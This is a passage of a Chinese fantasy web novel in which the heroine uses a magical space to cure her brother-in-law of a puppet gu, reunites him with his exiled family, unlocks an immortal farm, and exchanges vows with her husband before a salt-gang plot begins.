"呯"的一声脆响,黑衣人身形一晃,向后倒去。秦远霄眼疾手快,一把扶住了对方摇摇欲坠的身体。他小心翼翼地将人放到地上,颤抖的手指掀开了那遮面的黑布。 当那张熟悉的面容显现,秦远霄双眼瞬间盈满泪水。 "八哥...真的是你..."他喃喃低语,声音中满是难以置信。 宁芷薇悄然靠近,仔细打量着地上昏迷的男子。 "这是你八哥?"她轻声问道,生怕打破这重逢时刻的宁静。 秦远霄艰难地点了点头,缓缓道出方才交手时的发现。宁芷薇蹙眉为昏迷的男子诊脉,神色愈发凝重。 "情况有些复杂,需要进行详细检查,"她抬头望向秦远霄,"我们得把他带进空间。" "拜托你了,一定要救救八哥。"他恳切地说。 宁芷薇轻轻颔首,挥手间便将昏迷的男子转移进了空间。庞勇等人这时赶了回来,汇报了战况。秦远霄心不在焉地应付着,拉着宁芷薇往回走。 女眷们看到两人平安归来,纷纷松了口气。二嫂忍不住破口大骂那些不知好歹的刺客。其他嫂嫂也难得地附和起来,发泄着心中的不满与恐惧。 宁芷薇与秦远霄默契地对视一眼,按照计划开始行动。走出几步远,宁芷薇假装脚下一滑,发出一声轻呼。秦远霄立刻将她打横抱起,大步流星地往前走。 留下一众嫂嫂面面相觑,还没来得及关心就被甩在了后头。回到营地,秦远霄将宁芷薇安置在骡车上。待众人散去,宁芷薇立即闪身进入空间。 秦远霄虽然心急如焚,却只能在外面假装赶车。宁芷薇为秦雪松做了全面检查,结果令她大吃一惊。 "竟然是蛊..."她喃喃自语,连忙出来告知秦远霄。 秦远霄闻言也是一惊,对这种江湖传说中的邪术知之甚少。 第五十三章 傀儡蛊 宁芷薇凭借前世的知识,初步判断这是傀儡蛊。她意念一动,从空间商城购买了一本《奇虫秘录》。两人一边赶路一边查阅,很快确认了诊断。 秦远霄眉头紧锁,思绪纷乱。他想不通八哥为何会中蛊,更不知该如何解救。一时间,他只觉得胸口闷痛,呼吸都变得艰难起来。 宁芷薇察觉到他的情绪变化,轻声问道:"你怎么不问问我能不能解蛊呢?" 秦远霄一愣,惊讶地看向她:"你真的会?" 宁芷薇点头:"应该可以,不过需要你配合。" 秦远霄眼中燃起希望,郑重应允:"只要能救八哥,我一定全力配合。" 宁芷薇微微一笑,正要开口详细解释,却见秦远霄突然伸手示意她噤声。原来是有几个族人走近,两人连忙装作若无其事的样子。 等人走远,宁芷薇才低声道:"傀儡蛊极为凶险,解蛊过程也十分危险。我们得找个安全的地方,仔细商议对策。" 宁芷薇与秦远霄借口查看伤势,悄悄溜到了一处偏僻的角落。 "我在空间里准备了一些药材,"宁芷薇轻声说道,"但解蛊的过程极为凶险,稍有不慎就可能危及性命。" 秦远霄神色凝重,却毫不犹豫地说:"无论多大的风险,我都愿意一试。八哥对我恩重如山,我绝不能眼睁睁看着他沦为他人的傀儡。" 帐篷里,秦远霄坐在床边,长长地叹了口气。他摸出一个小盒子,里面躺着一枚玉佩。玉佩上雕刻着精美的花纹,在月光下泛着淡淡的光芒。 秦远霄轻轻抚摸着玉佩,眼神渐渐变得柔和。 "终于找到你了,"他低声呢喃,"可我们,还能回到从前吗?" 宁芷薇深吸一口气,缓缓道出了解蛊的关键步骤。 两人密谋至深夜,终于敲定了详细的计划。黎明时分,天边才刚露出一丝曙光,秦远霄就悄悄起身,来到宁芷薇的帐篷外。两人交换了一个眼神,默契地朝着约定的地点走去。 解蛊的艰难旅程,就此开始。 宁芷薇与秦远霄小心翼翼地溜进了空间。 秦雪松静静地躺在那里,呼吸平稳。宁芷薇轻轻挥手,将他转移到手术室。 "我来帮八哥脱衣服吧。"秦远霄低声说道,声音里带着一丝不易察觉的颤抖。 宁芷薇气平静摇了摇头,"只需露出手臂就行。" 秦远霄这才松了口气,小心翼翼地卷起八哥的袖子。当他看到那消瘦得几乎只剩下骨头的手臂时,心中不禁一阵酸楚。他的手指微微颤抖,轻轻抚过那皮包骨的手臂。 "八哥......"秦远霄喃喃自语,声音哽咽。 宁芷薇递给他一个玻璃瓶,打断了他的思绪。"蛊虫出来时,立刻将它关进去。" 秦远霄深吸一口气,郑重地点头,双手紧握着玻璃瓶。 宁芷薇戴上手套,拿起手术刀。刀尖轻轻触碰到秦雪松的皮肤,一道细细的血线随即出现。秦远霄屏住呼吸,身体不自觉地前倾。 "准备。"宁芷薇低声紧张说道, 她小心地分开肌肉,一只黑色的小虫忽然露出了头。秦远霄瞳孔骤缩,手疾眼快地将虫子罩进瓶中。 "呼......"两人同时松了口气。 宁芷薇迅速缝合伤口,为八哥挂上点滴。 "这就是折磨八哥的东西......"秦远霄看着瓶中的蛊虫,喃喃自语,声音里充满了愤怒和不甘。 宁芷薇没有回应,而是打开手机查看店铺收入。突然,她的眼睛亮了起来。 "今日收入竟达1090万。"她惊喜了。 但很快,她就收敛了情绪,开始为子蛊准备血浆。她小心翼翼地往瓶中倒入鲜血。 秦远霄疑惑地看着,忍不住好奇地问:"为什么要这么做?" 宁芷薇耐心解释道:"子蛊离开宿主后,需要新鲜血液维持生命。我们得保证它活着,才能顺藤摸瓜找到幕后黑手。" 秦远霄恍然大悟,对她竖起大拇指。"多亏你考虑周到,否则线索就断了。" 宁芷薇收好装有子蛊的瓶子,看了眼墙上的钟。"他应该很快就能醒来我们得尽快带他出去。" "你在想幕后黑手吗?"宁芷薇打破了沉默。 秦远霄叹了口气,"八哥中蛊,肯定与南疆有关。可那些黑衣人的武功明显是中原路数。" 事情远比想象的复杂。原本以为东睿是唯一嫌疑人,现在却多了一层迷雾。 宁芷薇想起历史上那些勾结外敌的野心家,不禁担心起来,但她没有说出口。 秦远霄守在床边,目光始终没有离开秦雪松消瘦的脸。 他想起了八哥曾经的意气风发,再看看如今憔悴不堪的模样,他的手不自觉地攥紧,指甲深深陷入掌心。 宁芷薇察觉到了秦远霄的情绪变化,轻声安慰道:"别担心,八哥已经脱离危险了。" 秦远霄勉强挤出一丝笑容,点了点头。但他的眼中依旧充满了担忧和愤怒。两人都沉浸在各自的思绪中,直到秦雪松的手指微微动了一下。宁芷薇立刻警觉起来,快步走到床边。 "八哥?"秦远霄轻声呼唤,声音里带着期待和紧张。 秦雪松的眼皮微微颤动,慢慢地睁开了眼睛。他的目光有些涣散,还没有完全清醒。 宁芷薇迅速检查了他的各项体征,确认一切正常后,才稍稍松了口气。 "我们得尽快离开这里,"她低声说道,"天快亮了。" 秦远霄小心翼翼地扶起八哥。秦雪松虚弱地靠在他身上,似乎还没有完全恢复意识。 就在他们准备离开时,秦雪松突然抓住了秦远霄的手。他的嘴唇蠕动着,似乎想要说什么。 秦远霄连忙俯下身,仔细聆听。只听秦雪松用极其微弱的声音说道:"小心......南......南......" 他的话还没说完,就再次昏睡过去。 "我们得赶紧离开,"宁芷薇低声说道,"等八哥醒来,我们再详细询问。" 宁芷薇目光扫过还在昏迷的秦雪松,转向秦远霄,轻声问道:"你想好怎么向母亲和嫂嫂们解释八哥的事了吗?" :"就说我听闻山上有异动,出去查看时遇到了八哥。" "嗯,这样也好。" 待感觉与营地已有些距离,秦远霄停下脚步:"就这里吧。" "好。"宁芷薇话音刚落,秦雪松便出现在两人面前的空地上。 见八哥尚未清醒,秦远霄索性寻来些干柴,搭起了火堆。 约莫二十分钟后,秦雪松的手指微动,随即缓缓睁开双眼。他怔怔地望着秦远霄。 "九、九弟?"秦雪松声音沙哑无力。 秦远霄再次红了眼眶,一把握住兄长的手:"八哥,是我,我是远霄。" 第五十四章 失而复聚 秦雪松颤抖着伸出手,想要触碰弟弟的脸庞。秦远霄会意,将身子凑近些,扶着秦雪松坐起身来。 "八哥,我们都以为你已经...这到底是怎么回事?" 秦雪松嘴唇微动,虚弱地说道:"我与六哥、七哥一同抵抗南疆进攻,被引入一处山谷。正与敌人对战时,突然闻到一股刺鼻气味,不慎吸入。再醒来时,已在一个阴暗山洞里,被铁链锁在柱子上。" 他顿了顿,继续道:"不久后,一个南疆打扮的老者来到面前,朝我洒出一把粉末。之后...我就什么都不记得了。" 秦雪松说完,紧紧抓住秦远霄的手臂:"九弟,六哥和七哥他们还好吗?我们现在在哪里?" 秦远霄抹了把眼角的泪,艰难开口:"八哥,你说的事已经过去三年了。当时传来消息,说你与六哥、七哥一同殒命于南疆之手。没想到...你竟还活着。" 他深吸一口气,继续道:"如今秦家已被圣上以通敌卖国罪名下旨抄家流放,我们正在流放途中。今早有一群黑衣人刺杀我,而八哥你...就在其中。" 秦远霄说话间,将宁芷薇拉到秦雪松面前:"这是我的妻子,宁大人家的嫡女宁芷薇。幸亏她懂医术,帮你解了傀儡蛊。" 秦雪松盯着眼前两个身着粗布麻衣的人,久久无法作声。良久,他才试探着问:"九弟,你说...距那场战役已过去三年?" 秦远霄点头:"是的,八哥,正好三年。" "那六哥和七哥呢?"秦雪松声音中带着一丝希冀,想着若自己能大难不死,或许兄长们也有奇迹发生。 秦远霄别过脸去,极力眨眼不让泪水落下:"六哥和七哥...就在那次战役中丧生了。" 秦雪松浑身一震,颤抖着抓住秦远霄的双臂,泪水已经夺眶而出:"难道...秦家男儿如今只剩你我兄弟二人?" 秦远霄艰难地点了点头。 秦雪松闻言,宛如困兽,他挣扎着坐起身,双手紧紧抓着头发,发出低沉的呜咽声。 秦远霄强忍心痛,上前安慰:"八哥,事已至此,你能活着已是天大的恩赐。" 宁芷薇见状,轻声提醒:"八哥,母亲和八嫂就在不远处的营地。" 这话仿佛一盆冷水浇在秦雪松头上,他稍稍平静下来,红着眼眶看向秦远霄:"九弟,娘和你八嫂她们...还好吗?" 秦远霄小心扶起秦雪松:"她们都安好,我能看出八嫂很是想念你。" 秦雪松脑海中浮现出母亲慈爱的面容和妻子娇俏的身影。他与杨玉芳成亲不到一月,正是如胶似漆之时,便接到塞北告急的消息,与秦远霄连夜奔赴边疆。 记忆中,母亲带着家中女眷齐齐来到大门前送行。那时母亲已失去丈夫和五个儿子,却仍告诫自己与九弟:秦家男儿不能做孬种!妻子杨玉芳依依不舍地拉着自己的手,眼中满是不舍... 没想到,这一别竟是三年。而且还是浑浑噩噩、毫无意识的三年。 秦雪松握紧秦远霄的手:"九弟,带我去见她们。" 见秦雪松脚步踉跄,秦远霄不禁担忧,向宁芷薇询问:"芷薇,八哥的身体到底怎么回事?" 宁芷薇解释道:"八哥这三年被傀儡蛊吸走不少精血,虚弱是正常的。再加上长时间没有进食,更是雪上加霜。我包袱里还有些吃的,先给八哥垫垫肚子吧。" 说着,她从"包袱"里取出一个白面馒头和些许酱牛肉。秦雪松确实饿极,谢过弟妹后便狼吞虎咽起来。 宁芷薇又递上一个水囊:"八哥,你许久未进食,切莫吃得太快,当心伤了脾胃。" 秦雪松这才意识到自己失态,脸上一红,接过水囊:"多谢弟妹提醒。" 三人就着篝火,静静等待秦雪松恢复些许体力。 秦雪松拖着疲惫的身躯,缓缓向营地挪动。每一步都像是踩在刀尖上,可思念家人的渴望驱使他咬牙坚持。秦远霄和宁芷薇伴随左右,三人的脚步声惊动了守夜的官差。 "何人?"一名官差厉声喝问。 宁芷薇轻声回应:"是我们。" 她的声音传入附近帐篷,惊醒了熟睡的秦家众人。帐篷帘子被掀开,秦老夫人急切地探出头来。 "宁氏,出什么事了?"她的声音里透着不安。 秦老夫人的目光扫过,突然定格在秦雪松身上。她的眼神由困惑转为震惊,嘴唇微微颤抖。 "雪...雪松?"她不敢相信自己的眼睛。 秦雪松再也忍不住,双膝一软跪倒在地:"娘,儿子回来了。" 秦老夫人呆立原地,泪水无声滑落。她想上前,却又害怕这只是一场梦。 此时,人群中传来一声惊呼。八嫂挤出人群,踉跄着跑来。 "夫君?真的是你吗?"她的声音哽咽。 秦雪松勉强扯出一个笑容:"玉芳,是我。" 八嫂再也控制不住,扑进秦雪松怀里。 "你这个混蛋...为什么不早点回来...你知不知道我这些年是怎么过的..." 秦雪松任由妻子发泄,只是轻轻拍着她的后背。 秦老夫人想询问儿子这些年的遭遇,却又不忍心打断他们的重聚。 秦雨澜站在一旁,惊讶地打量着这个瘦骨嶙峋的哥哥。 "娘,这真的是八哥吗?他怎么..."秦雨澜的话还未说完,就被秦老夫人一个眼神制止。 八嫂这才意识到自己的失态,连忙从秦雪松怀里起身。她低着头,声音里带着歉意:"娘,对不起,儿媳一时失礼了。" 秦老夫人摆摆手:"无妨,如今我们已不是从前那个讲究规矩的秦家了。" 她走上前,小心翼翼地扶起秦雪松。触碰到儿子的手臂时,秦老夫人心里一阵刺痛。那曾经健壮的臂膀,如今竟瘦得只剩下皮包骨。 "雪松,这些年你到底..."秦老夫人的话还未说完,秦远霄就上前一步打断道: "娘,八哥身体虚弱,不如让他先休息,明日再细说。" 秦老夫人点点头,大家陆续地散去,只留下秦老夫人和秦远霄。 秦远霄简单地向母亲解释了秦雪松的遭遇,秦老夫人眼中又蓄满了泪水。 "究竟是谁,要如此迫害我秦家?"她的声音里充满了悲愤。 秦远霄安慰道:"娘,重要的是八哥平安回来了。" 秦老夫人点点头,强忍着泪水。她转身看向宁芷薇,眼中满是感激。 "宁氏,多亏有你在,否则我们秦家恐怕早已..." 宁芷薇轻声打断:"娘言重了,这都是儿媳应该做的。" 秦雪松的归来,无疑为这个饱经磨难的家族带来了一线希望。 帐篷内,八嫂小心翼翼地为秦雪松掖好被角。她看着丈夫憔悴的面容,心中充满了心疼和困惑。秦雪松察觉到妻子的心思,轻轻握住她的手:"玉芳,对不起,让你受苦了。" 八嫂摇摇头,眼中泛起泪光:"你能回来就好,其他的都不重要了。" 秦雪松想说些什么,却感到一阵疲惫袭来。他闭上眼睛,很快陷入沉睡。八嫂坐在一旁,静静地看着丈夫的睡颜,思绪纷乱。 营地另一边,秦老夫人辗转难眠。儿子的归来带来喜悦,却也带来了更多的疑问和担忧。 黎明将至,新的一天即将开始。无论未来会如何,但至少,家人终于团聚,这就是最大的慰藉。 第五十五章 时空仙园 宁芷薇凝视着信息框,眸中闪过难以置信的神色。九位数的财富数字让她心跳如鼓,双腿不自觉地微微发颤。 "这...这是真的吗?"她低声喃喃,指尖轻抚屏幕,生怕这一切只是南柯一梦。 正当她准备关闭信息框查看铺子详情时,又一个对话框跳了出来。 "恭喜进军亿万富翁行列,奖励一次抽奖机会。"宁芷薇念出声来,眉头微蹙。她对这种官方把戏向来不屑一顾,却还是鬼使神差地点击了抽奖按钮。 转盘飞速旋转,宁芷薇的目光随之游移。最终,指针停在了"神秘惊喜"上。 "又是这种套路。"她轻哼一声,随意选了中间的卡牌。 谁知屏幕突然金光四射,刺得她眯起了眼。 "时空仙园?这是什么鬼东西?"宁芷薇喃喃自语,眼中闪过一丝困惑。 立体图片上呈现的景象令她不禁屏住了呼吸。良田、鱼塘、牧场、果园,世外桃源般美好。她的目光在画面上流连,内心不由自主地向往起来。 然而,开启农场需要五千万的提示瞬间将她拉回现实。宁芷薇咬了咬下唇,手指在屏幕上方犹豫不决。 "五千万...这可不是小数目。"她低声嘀咕。 最终,宁芷薇还是选择了支付。她告诉自己,这或许是个千载难逢的机会。 医务室的门缓缓打开,眼前景象令宁芷薇倒吸一口凉气。一片荒芜的土地和光秃秃的山头,与方才看到的立体图片天差地别。 "这...这是怎么回事?"她喃喃自语,心中涌起一股被骗的感觉。 宁芷薇强压下内心的不安,走向了操作台。她的手指在按钮上方徘徊,最终还是按了下去。 随着系统的指引,宁芷薇开始着手打理这片空间。每一步都需要额外付费,她的心不断地往下沉。 "开垦良田需要每亩一百元..."宁芷薇喃喃自语,手指在屏幕上轻点。 她决定先试探性地开垦一亩地。当看到那块土地被翻整得平平整整时,宁芷薇悄悄松了口气。 "看来...这不是骗局。"她释然了。 接下来,宁芷薇果断将剩下的土地也开垦出来。她选择了各种常见作物和蔬菜,希望能满足未来一家人的需求。 "水稻、小麦、玉米...还有这些蔬菜,应该够了吧?"她犹豫着。 操作台的便利功能让她惊叹不已。一键播种、自动浇水,仿佛只需动动手指,一切就能完成。 宁芷薇站在这片刚开垦的土地上,目光扫过远处的山头。她忽然意识到,这不仅仅是一个农场,更是一个充满可能的未来。 "也许...这就是我的机会。"她满怀期待轻声说,。 宁芷薇深吸一口气,闻到了泥土的芬芳。这是属于她的新天地,承载着无限希望。她的嘴角不自觉地勾起一抹微笑,准备开始这场跨越时空的耕耘。 然而,就在这时,一阵眩晕感突然袭来。宁芷薇踉跄了一下,扶住了操作台。 "怎么回事?"她喃喃自语,感到一阵莫名的不安。 眼前的景象开始变得模糊,宁芷薇努力想要看清,却发现自己的意识也开始变得恍惚。 "不...不对劲..."她低语,手指紧紧抓住操作台的边缘。 就在她即将失去意识的那一刻,宁芷薇的脑海中闪过一个念头:这一切,究竟是福是祸? 当她再次睁开眼时,发现自己躺在医务室的床上。周围一切如常,仿佛方才的经历只是一场梦。 "我...这是怎么了?"宁芷薇喃喃自语,缓缓坐起身。 她环顾四周,试图寻找那个神奇农场的痕迹。然而,除了手机屏幕上那个闪烁的小图标,一切都再正常不过了。 宁芷薇拿起手机,指尖在那个小图标上方犹豫不决。她深吸一口气,最终还是点了下去。 屏幕上再次出现了那个操作界面,宁芷薇的心跳顿时加速。 "看来...这不是梦。"她有些疑惑。 宁芷薇坐在床边,目光在手机屏幕和医务室的门之间来回游移。她知道,自己正站在一个未知的十字路口。 "该怎么办呢?。 宁芷薇站在农场空间的中央,放眼郁郁葱葱的田野。她的手指轻轻抚过刚刚冒出嫩芽的幼苗,心中涌起一股难以言喻的满足感。秦远霄站在她身旁,目光在这片神奇的空间里游走,一脸惊讶。 "你觉得如何?"宁芷薇轻声问道,语气中带着几分期待。 "确实令人惊叹。" 宁芷薇暗自得意。她带着秦远霄漫步在田间小路上,向他细细讲解这片空间的神奇之处。 "这里的粮食三日便可成熟,"她指着一片绿油油的禾苗说道,"果树十日就能长成,每十天就能收获一批果实。" 秦远霄感到难以置信,他蹲下身,仔细观察着那些嫩绿的幼苗,手指轻轻触碰着叶片。 宁芷薇见状,笑着摇了摇头:"我刚开始也觉得不可思议,但事实如此。" 鱼塘边,清澈的水面上泛起阵阵涟漪,一尾胖头鱼跃出水面,在阳光下闪烁着银光。 "这些鱼儿,十日便可长成," "家禽也是如此,家畜则需要半月。" 秦远霄目光扫过远处的牧场,那里牛羊成群,一派生机勃勃的景象。 宁芷薇注意到他的表情变化,不禁问道:"你在想什么?" 秦远霄低声道:"若是能将这样的空间推广开来,天下百姓便再无饥馑之忧了。" 宁芷薇闻言,心中一动。她望向远处,神色复杂:"你说得对,但这空间终究是有限的。" 秦远霄苦笑:"是我想得太远了。" 宁芷薇看着他那略带失落的神情,心中不禁一阵柔软。她伸手轻轻拉住秦远霄的衣袖,柔声道:"虽然不能惠及天下,但至少能让我们的生活更好。" "你说得对,"他柔轻声说,"这已经是天大的恩赐了。" 宁芷薇带着秦远霄来到仓库前,推开厚重的木门。里面整齐堆放着从国库中取出的珍宝,闪烁着耀眼的光芒。 秦远霄看着这些财物,眉头微微皱起:"这些东西......" 宁芷薇察觉到他的犹豫,连忙解释道:"我把它们都放在这里了,以备不时之需。" "你做得很好,"他轻声说,"这些东西确实可能派上用场。" 她关上仓库门,转身面对秦远霄,:"你觉得,我们该如何利用这片空间?" 秦远霄沉思片刻,缓缓说道:"先种些粮食吧,以备不时之需。" "对了,"宁芷薇突然想起什么,"这里出产的种子经过了基因改良,种在外面不挑剔土地和气候。" 秦远霄闻言,眼中闪过一丝惊讶。"这么说,到了塞北......" "我们也能种出丰收的庄稼,"宁芷薇接过他的话,眼中闪烁着兴奋的光芒。 秦远霄轻声说:"这确实是个好消息,但我们还是要小心行事。" 他们继续在空间中漫步,时而讨论着种植计划,时而沉默不语。夕阳西下,金色的光芒洒在田野上,为这片神奇的空间镀上了一层温暖的色彩。 随着夜幕降临,他们依依不舍地离开了空间。回到现实世界,宁芷薇感到一阵恍惚,仿佛刚才的一切都是一场美梦。但至少,她不是一个人在战斗。想到秦远霄,她的心中涌起一股暖意。无论前路如何,有他在身边,她就有了面对一切的勇气。 第五十六章 倾心相许 宁芷薇凝视着农场空间,思绪如同蒲公英的种子般飘散开来。她的目光扫过郁郁葱葱的菜畦,仿佛看到了自己和秦远霄在塞北的未来。 她带着憧憬问:"远霄你觉得我们也能拥有这样的田园生活吗?" 秦远霄闻言,转头看向宁芷薇。 "只要你愿意,我们就能。"他最终这样回答,声音低沉而坚定。 宁芷薇听出了他话中的犹豫,她知道,秦远霄作为朝廷的流放犯人,内心必定有着难以言说的挣扎。 "那你可要负责种地喽,我可是不会的。"她故作轻松地说道,试图缓解气氛。 秦远霄嘴角微微上扬,眼中的阴霾似乎散去了几分。 "你就在家里照看......"他话说到一半,突然意识到什么,声音戛然而止。 空气中突然弥漫着一丝尴尬,宁芷薇感觉脸上一阵发烫,低下头不敢看他。秦远霄也意识到自己差点说漏了嘴,不禁有些局促。 沉默在两人之间蔓延,宁芷薇的心跳得越来越快,深吸一口气,鼓起勇气抬头问道:"远霄,你......你真的喜欢我吗?" 秦远霄一怔,他注视着宁芷薇的双眼,缓缓点头。 宁芷薇只觉得心脏仿佛要跳出胸膛,她追问道:"那你能告诉我,你喜欢我什么吗?" 秦远霄沉吟片刻,目光中流露出温柔。 "你聪慧果敢,与众不同。每次看到你,我的心情就会变好。你若离开我的视线,我便会感到不安。"他顿了顿,声音低沉下来,"上次你坠崖,我只想着若你有事,我便生不如死。" 宁芷薇听着这番真挚的告白,心中泛起阵阵涟漪。她从未想过,平日里沉默寡言的秦远霄,竟能说出如此动人的话语。 秦远霄似乎还有话要说,他深吸一口气,继续道:"虽然我现在身份卑微,但我发誓此生只爱你一人,绝不让你受半点委屈。" "你说的话,可要记住。"她轻声回应,声音里带着一丝颤抖。 秦远霄闻言大喜,一时激动,竟一把将她抱起转圈。 "芷薇,你是答应了对吗?"他兴奋地问道。 宁芷薇被他突如其来的动作吓了一跳,随即又被他的热情感染。她红着脸点了点头,心中满是甜蜜。 两人相拥而立,宁芷薇靠在秦远霄的胸膛上,闻着他身上淡淡的清香,心中既欢喜又忐忑。她虽然拥有现代灵魂,但两世为人,还是第一次如此亲密地接触异性。 过了片刻,宁芷薇轻轻推开秦远霄,低声说道:"我去看一下手机。"说完,她便匆匆跑进了医务室。 秦远霄看着她离开的背影,眼中满是宠溺。他知道宁芷薇还不习惯这样亲密的接触,也不打算强求。 宁芷薇跑进医务室,取出手机查看仙市阁商铺。她发现古玩鉴赏家发来消息,称赞她的商品很棒。宁芷薇心不在焉地回复道:"你是我的第一位顾客,以后有什么需要尽管说。" 关掉手机后,宁芷薇深吸一口气,试图平复自己剧烈的心跳。她和秦远霄之间的关系似乎在这一刻发生了微妙的变化,这让她既期待又有些惶恐。 当宁芷薇回到帐篷时,秦远霄已经躺下了。见她回来,他撑起身子,目光柔和地看着她。宁芷薇被他炽热的目光看得有些不好意思,背对着他坐下。 秦远霄犹豫了一下,试探性地伸出手,轻轻碰触宁芷薇的手臂。宁芷薇身子微微一颤,却没有躲开。秦远霄见状,鼓起勇气将她轻轻拉入怀中。 宁芷薇靠在他温暖的胸膛上,听着他有力的心跳,内心充满了矛盾。她既想沉浸在这温暖的怀抱中,又担心自己会迷失在这突如其来的亲密关系里。 两人就这样静静地依偎着,谁也没有说话。夜色渐深,帐篷外传来虫鸣声,为这份难得的温存增添了一丝宁静。 宁芷薇站在帐篷外,微凉的夜风拂过她的发梢。秦远霄悄无声息地来到她身旁,轻声道:"怎么了?" 宁芷薇摇摇头,正欲开口,树林中突然传来一阵急促的脚步声。她下意识地抓住秦远霄的衣袖。 月光如纱,隐约可见几个黑影在林间穿梭。领头的人跌跌撞撞,显然已是精疲力竭。身后的追兵手持长刀,咬牙切齿地喊道:"沈良远,识相的就把秘籍交出来!否则今晚就是你的死期!" 宁芷薇心头一紧,这个名字她再熟悉不过。秦远霄轻轻握住她的手,眼看沈良远就要被追上,秦远霄沉声喝道:"且慢!" 追兵闻声一愣,脚步不由自主地停了下来。沈良远趁机跌跌撞撞地跑到秦远霄身后,警惕地打量着这群陌生人。 为首的追兵眯起眼睛,冷笑道:"阁下是何人,竟敢管我盐帮的闲事?" 秦远霄不答,只是冷冷地看着他们。那人见状更加恼怒,挥刀就要上前。 宁芷薇心中一凛,正要出手,却见秦远霄已经闪电般夺过对方的刀,刀锋直指那人咽喉。其他追兵见状,顿时慌了神,纷纷后退几步。 秦远霄冷冷道:"滚。" 简单一个字,却如雷贯耳。几个追兵面面相觑,终于不甘地退了下去。 危机解除,宁芷薇这才松了口气。她转身看向沈良远,只见他面色苍白,浑身颤抖。宁芷薇心中一软,从怀中掏出一个小瓷瓶:"这是我配的药丸,可以缓解疲劳,先生不妨服下。" 沈良远迟疑片刻,终于接过药丸吞下。不一会儿,他面色渐渐红润,呼吸也平稳了许多。 "多谢二位相救之恩。"沈良远拱手道谢,眼中却仍带着几分警惕。 秦远霄淡淡道:"举手之劳而已。" 宁芷薇忍不住问道:"不知先生为何会被那些人追杀?" 沈良远苦笑一声:"说来惭愧,只因家父留下的一本经商秘籍,引来那些宵小觊觎。" 秦远霄眉头微挑:"可是沈家的那本《商海奇谋》?" 沈良远闻言一惊:"阁下如何知晓?" 宁芷薇见状,急忙打圆场:"我们曾听闻沈家在盐泊一带颇有声名,想必那秘籍便是你们家族繁荣的根基吧。" 沈良远叹了口气:"正是如此。只是没想到,这本秘籍竟成了我们家族的祸根。" "那些人为何如此急切地想要得到秘籍?"秦远霄追问道。 沈良远犹豫片刻,终于开口:"实不相瞒,那秘籍中不仅记载了经商之道,更有一处隐秘的矿脉所在。" 宁芷薇心中一动:"莫非是传说中的星辰石脉?" 沈良远惊讶地看了她一眼:"姑娘见多识广,竟知晓此事?" 宁芷薇笑而不语,只是看向秦远霄。两人默契地交换了一个担忧眼神。 秦远霄沉吟片刻:"沈兄若不嫌弃,不如随我们一道同行,也好有个照应。" 沈良远犹豫再三,终于点头应允。 宁芷薇躺在帐篷里,却辗转难眠。她想起方才沈良远提到的秘籍,这本秘籍若是落入他人之手,后果不堪设想。 帐篷外传来轻微的脚步声,宁芷薇警觉地坐起身。帘子被掀开,秦远霄的身影出现在门口。 "睡不着?"他轻声问道。 宁芷薇点点头,低声道:"你说,我们是否应该帮助沈良远?" 第五十七章 初遇盐帮 秦远霄在她身边坐下,沉默片刻后说道:"此事牵连甚广,我们不宜轻举妄动。不过,既然遇到了,总不能袖手旁观。" 宁芷薇心中一暖,握住秦远霄的手:"你说得对。只是不知这沈良远是否值得信任。" 秦远霄轻轻捏了捏她的手:"我们且走一步看一步。无论如何,你我同心,定能化险为夷。" 翌日清晨,一行人收拾停当,准备继续赶路。沈良远神色复杂地看着众人,欲言又止。 宁芷薇察觉到他的异样,温声问道:"沈先生可是有什么顾虑?" 沈良远犹豫片刻,终于开口:"实不相瞒,我担心会连累诸位。那些人不会轻易放弃,恐怕还会来找麻烦。" 秦远霄淡淡一笑:"沈兄不必多虑。既然答应护你周全,我们自然会说到做到。" 夜幕低垂,月光如纱。秦远霄和宁芷薇悄然离开帐篷,向码头潜行,两人脚步轻盈,在阴影中穿梭,空气中弥漫着淡淡的水腥气。 码头边,几盏昏黄的灯笼摇曳,映照出几个人影,秦远霄眯起眼睛,仔细打量那几个身影,其中一人身形魁梧,站姿挺拔。 宁芷薇轻轻拉了拉秦远霄的袖子,示意他看向另一边,那里停泊着一艘华丽的游轩,船头雕刻着精美的凤凰图案。 "这船..."秦远霄蹙眉,话未说完便被宁芷薇轻轻摇头制止。 两人默契地退到暗处,屏息静气。突然,游轩上传来一阵轻快的脚步声,一个身着锦衣的男子走出船舱,在甲板上伸了个懒腰。月光下,那人的面容若隐若现。 秦远霄心头一震,眼中闪过一丝复杂的神色。宁芷薇察觉到他的异常,轻声问道:"认识?" 秦远霄微微点头,低声回答:"是我三哥,秦玉辰。" 宁芷薇恍然,想起秦远霄曾提过三哥清剿盐帮的事。正欲离开,却见秦玉辰突然转身,似乎察觉到了什么,两人屏住呼吸,一动不动,秦玉辰的目光在黑暗中搜寻了片刻,终于收回视线。 两人松了口气,悄悄退出码头范围。回到营地,宁芷薇忍不住问道:"你三哥为何会在这里? 秦远霄摇摇头,眉头紧锁:"我也不清楚。" 宁芷薇若有所思:"会不会与盐帮有关?" 秦远霄沉默片刻,缓缓说道:"很有可能。" 翌日清晨,天刚蒙蒙亮,营地就热闹起来。田丰高声吆喝着让大家收拾行李,准备启程。 就在此时,远处传来一阵马蹄声。众人循声望去,只见一队骑兵飞驰而来。为首的正是昨夜在游轩上的秦玉辰。 田丰连忙上前行礼:"下官参见秦大人。" 秦玉辰翻身下马,目光在人群中扫视。当他看到秦远霄时,眼中闪过一丝惊讶,随即恢复如常。 "本官奉旨前来查办盐帮一事,尔等可有所见闻?"秦玉辰沉声问道。 田丰战战兢兢地回答:"回大人,我等只是路过此地,并未..." 秦远霄突然上前一步,打断了田丰的话:"三哥,我有话说。" 秦玉辰微微挑眉,示意他继续。秦远霄压低声音,将昨夜盐帮寻人的事简略说了。秦玉辰听罢,若有所思地点点头。 "你们暂且留在此地,不要轻举妄动。"他低声叮嘱。 秦远霄欲言又止,最终只是点头应下。秦玉辰转身离去,留下一众人等面面相觑。 宁芷薇悄悄握住秦远霄的手,无声地传递着安慰。秦远霄深吸一口气,对众人说道:"看来我们要在这里多待几日了。" 田丰虽然不明就里,但也只能照办。就这样,一行人重新安顿下来,等待事态发展。 夜幕再次降临,秦远霄和宁芷薇坐在帐篷外的篝火旁。火光映照着两人的脸庞,忽明忽暗。 "你在担心什么?"宁芷薇轻声问道。 秦远霄沉默了片刻,目光落在跳动的火焰上。"盐帮的事,比我想象的要复杂得多。"他低声说道,"三哥四年前就清剿过一次,可现在..." 宁芷薇若有所思:"你是说,背后可能有人在操控?" 秦远霄点点头:"不排除这个可能。但究竟是谁,又为什么要这么做,我现在还看不清楚。" 宁芷薇轻轻靠在秦远霄肩上,柔声道:"别太担心,我们一起想办法。" 